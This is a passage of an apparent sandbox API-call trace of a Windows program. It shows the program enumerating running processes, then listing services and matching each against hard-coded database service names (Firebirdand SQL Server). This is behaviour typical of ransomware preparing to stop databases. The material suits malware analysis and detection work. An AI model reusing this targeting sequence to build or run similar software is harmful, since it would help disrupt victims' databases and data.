th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.751] lstrlenW (lpString="csrss.exe") returned 9 [0162.751] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.752] lstrlenW (lpString="wininit.exe") returned 11 [0162.752] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.753] lstrlenW (lpString="csrss.exe") returned 9 [0162.753] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.754] lstrlenW (lpString="winlogon.exe") returned 12 [0162.754] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.755] lstrlenW (lpString="services.exe") returned 12 [0162.755] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.755] lstrlenW (lpString="lsass.exe") returned 9 [0162.756] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0162.756] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0162.756] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0162.757] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0162.757] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.758] lstrlenW (lpString="svchost.exe") returned 11 [0162.758] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.759] lstrlenW (lpString="svchost.exe") returned 11 [0162.759] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0162.760] lstrlenW (lpString="dwm.exe") returned 7 [0162.760] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.761] lstrlenW (lpString="svchost.exe") returned 11 [0162.761] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.762] lstrlenW (lpString="svchost.exe") returned 11 [0162.762] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.763] lstrlenW (lpString="svchost.exe") returned 11 [0162.763] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.764] lstrlenW (lpString="svchost.exe") returned 11 [0162.764] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.765] lstrlenW (lpString="svchost.exe") returned 11 [0162.765] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.766] lstrlenW (lpString="svchost.exe") returned 11 [0162.766] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.767] lstrlenW (lpString="svchost.exe") returned 11 [0162.767] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.768] lstrlenW (lpString="svchost.exe") returned 11 [0162.768] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.769] lstrlenW (lpString="svchost.exe") returned 11 [0162.769] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.770] lstrlenW (lpString="svchost.exe") returned 11 [0162.770] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0162.771] lstrlenW (lpString="spoolsv.exe") returned 11 [0162.771] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.772] lstrlenW (lpString="svchost.exe") returned 11 [0162.772] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.773] lstrlenW (lpString="audiodg.exe") returned 11 [0162.773] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0162.774] lstrlenW (lpString="taskhostw.exe") returned 13 [0162.774] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0162.775] lstrlenW (lpString="sihost.exe") returned 10 [0162.775] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.776] lstrlenW (lpString="svchost.exe") returned 11 [0162.776] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0162.777] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0162.777] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0162.778] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0162.778] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0162.779] lstrlenW (lpString="Memory Compression") returned 18 [0162.779] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0162.779] lstrlenW (lpString="taskhostw.exe") returned 13 [0162.780] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0162.780] lstrlenW (lpString="msoia.exe") returned 9 [0162.780] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0162.781] lstrlenW (lpString="explorer.exe") returned 12 [0162.781] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0162.782] lstrlenW (lpString="SearchUI.exe") returned 12 [0162.782] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0162.783] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0162.783] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0162.784] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0162.784] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0162.785] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0162.785] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0162.786] lstrlenW (lpString="wmxsde.exe") returned 10 [0162.786] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0162.787] lstrlenW (lpString="cmd.exe") returned 7 [0162.787] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0162.788] lstrlenW (lpString="conhost.exe") returned 11 [0162.788] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0162.788] CloseHandle (hObject=0x3f8) returned 1 [0162.789] Sleep (dwMilliseconds=0x1f4) [0163.523] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f808 [0163.525] EnumServicesStatusExW (in: hSCManager=0x459f808, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0163.525] GetLastError () returned 0xea [0163.525] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bbc) returned 0x45a4c00 [0163.525] EnumServicesStatusExW (in: hSCManager=0x459f808, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45a4c00, cbBufSize=0x1bbc, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45a4c00, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0163.527] CloseServiceHandle (hSCObject=0x459f808) returned 1 [0163.527] lstrlenW (lpString="AppXSvc") returned 7 [0163.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0163.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0163.527] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0163.527] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0163.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0163.527] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0163.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.528] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0163.528] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0163.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0163.528] lstrlenW (lpString="Audiosrv") returned 8 [0163.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0163.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0163.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0163.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0163.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0163.528] lstrlenW (lpString="BFE") returned 3 [0163.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0163.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0163.528] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0163.528] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0163.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0163.528] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0163.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0163.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0163.528] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0163.528] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0163.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0163.528] lstrlenW (lpString="CDPSvc") returned 6 [0163.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0163.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0163.528] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0163.529] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0163.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0163.529] lstrlenW (lpString="ClickToRunSvc") returned 13 [0163.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0163.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0163.529] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0163.529] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0163.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0163.529] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0163.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0163.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0163.529] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0163.529] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0163.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0163.529] lstrlenW (lpString="CryptSvc") returned 8 [0163.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0163.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0163.529] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0163.529] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0163.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0163.529] lstrlenW (lpString="DcomLaunch") returned 10 [0163.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0163.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0163.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0163.530] lstrlenW (lpString="DeviceAssociationService") returned 24 [0163.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0163.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0163.530] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0163.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0163.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0163.530] lstrlenW (lpString="Dhcp") returned 4 [0163.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0163.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0163.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0163.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0163.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0163.530] lstrlenW (lpString="Dnscache") returned 8 [0163.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0163.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0163.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0163.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0163.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0163.530] lstrlenW (lpString="DPS") returned 3 [0163.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0163.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0163.530] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0163.530] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0163.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0163.530] lstrlenW (lpString="DsmSvc") returned 6 [0163.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0163.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0163.531] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0163.531] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0163.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0163.531] lstrlenW (lpString="DusmSvc") returned 7 [0163.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0163.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0163.531] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0163.531] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0163.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0163.531] lstrlenW (lpString="EventLog") returned 8 [0163.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0163.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0163.531] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0163.531] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0163.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0163.531] lstrlenW (lpString="EventSystem") returned 11 [0163.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0163.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0163.531] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0163.531] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0163.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0163.531] lstrlenW (lpString="FontCache") returned 9 [0163.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0163.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0163.531] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0163.532] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0163.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0163.532] lstrlenW (lpString="gpsvc") returned 5 [0163.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0163.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0163.532] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0163.532] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0163.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0163.532] lstrlenW (lpString="iphlpsvc") returned 8 [0163.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.532] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0163.532] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0163.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0163.532] lstrlenW (lpString="KeyIso") returned 6 [0163.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0163.532] lstrcmpiW 